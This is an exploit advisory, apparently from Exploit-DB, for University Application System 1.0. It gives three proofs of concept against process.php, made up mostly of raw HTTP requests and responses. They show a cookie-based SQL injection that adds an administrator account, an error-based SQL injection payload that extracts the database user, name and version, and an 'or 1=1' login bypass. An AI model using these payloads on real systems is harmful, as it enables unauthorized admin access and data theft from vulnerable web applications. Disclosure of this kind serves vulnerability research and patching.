122 lines
No EOL
4.5 KiB
Text
122 lines
No EOL
4.5 KiB
Text
# Exploit Title: University Application System 1.0 - SQL Injection / Cross-Site Request Forgery (Add Admin)
|
|
# Dork: N/A
|
|
# Date: 2018-10-30
|
|
# Exploit Author: Ihsan Sencan
|
|
# Vendor Homepage: https://www.sourcecodester.com/users/pamzey
|
|
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Patrick%20Mvuma/unima.zip
|
|
# Version: 1.0
|
|
# Category: Webapps
|
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
|
# CVE: N/A
|
|
|
|
# POC:
|
|
# 1)
|
|
# http://localhost/[PATH]/process.php
|
|
#
|
|
#[PATH]/process.php
|
|
#....
|
|
#1001 if(isset($_POST['addmember']))
|
|
#1002 {
|
|
#1003 if($_POST['memail']!=''&&$_POST['mfname']!=''&&$_POST['msname']!=''&&$_POST['mpassword']!=''&&$_POST['mpasswords']!='')
|
|
#1004 {
|
|
#1005
|
|
#1006 $mfname = mysqli_real_escape_string($db,$_POST['mfname']);
|
|
#1007 $msname = mysqli_real_escape_string($db,$_POST['msname']);
|
|
#1008 $memail=mysqli_real_escape_string($db,$_POST['memail']);
|
|
#1009 $mphone =mysqli_real_escape_string($db,$_POST['mphone']);
|
|
#1010 $rpassword = mysqli_real_escape_string($db,$_POST['mpasswords']);
|
|
#1011 $mpassword = mysqli_real_escape_string($db,$_POST['mpassword']);
|
|
#....
|
|
POST /[PATH]/process.php HTTP/1.1
|
|
Host: TARGET
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; serial=%27or+1%3D1+or+%27%27%3D%27; PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 87
|
|
mfname=efe&msname=efe&memail=efe@omerefe.com&mpassword=efe&mpasswords=efe&addmember=ghj
|
|
HTTP/1.1 302 Found
|
|
Date: Mon, 29 Oct 2018 18:44:36 GMT
|
|
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
|
|
X-Powered-By: PHP/5.6.30
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
Pragma: no-cache
|
|
Location: addadmin.php
|
|
Content-Length: 127
|
|
Keep-Alive: timeout=5, max=100
|
|
Connection: Keep-Alive
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
# POC:
|
|
# 2)
|
|
# http://localhost/[PATH]/process.php
|
|
#
|
|
#[PATH]/process.php
|
|
#....
|
|
#973 if(isset($_POST['schoolgrade'])){
|
|
#974
|
|
#975 //$adname=$_POST[''];
|
|
#976 $adname =$_POST["schoolgrade"];
|
|
#....
|
|
POST /[PATH]/process.php HTTP/1.1
|
|
Host: TARGET
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; serial=%27or+1%3D1+or+%27%27%3D%27; PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 236
|
|
schoolgrade='||(SeleCT 'Efe' FroM duAL WheRE 110=110 AnD (seLEcT 112 frOM(SElecT CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct (ELT(112=112,1))),FLooR(RAnd(0)*2))x FROM INFOrmatION_SchEMA.PluGINS grOUp BY x)a))||'
|
|
HTTP/1.1 200 OK
|
|
Date: Mon, 29 Oct 2018 18:51:22 GMT
|
|
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
|
|
X-Powered-By: PHP/5.6.30
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
Pragma: no-cache
|
|
Content-Length: 421
|
|
Keep-Alive: timeout=5, max=100
|
|
Connection: Keep-Alive
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
# POC:
|
|
# 3)
|
|
# http://localhost/[PATH]/process.php
|
|
#
|
|
#[PATH]/process.php
|
|
#....
|
|
#516 if(isset($_POST['usernames'])&&$_POST['password']) {
|
|
#517
|
|
#518 $usernames=$_POST['usernames'];
|
|
#519 $password=$_POST['password'];
|
|
#....
|
|
POST /[PATH]/process.php HTTP/1.1
|
|
Host: TARGET
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
|
|
Connection: keep-alive
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 51
|
|
usernames='or 1=1 or ''='&password='or 1=1 or ''='
|
|
HTTP/1.1 200 OK
|
|
Date: Mon, 29 Oct 2018 18:04:45 GMT
|
|
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
|
|
X-Powered-By: PHP/5.6.30
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
Pragma: no-cache
|
|
Set-Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; expires=Mon, 05-Nov-2018 18:04:45 GMT; Max-Age=604800
|
|
Set-Cookie: serial=%27or+1%3D1+or+%27%27%3D%27; expires=Mon, 05-Nov-2018 18:04:45 GMT; Max-Age=604800
|
|
Content-Length: 247
|
|
Keep-Alive: timeout=5, max=100
|
|
Connection: Keep-Alive
|
|
Content-Type: text/html; charset=UTF-8 |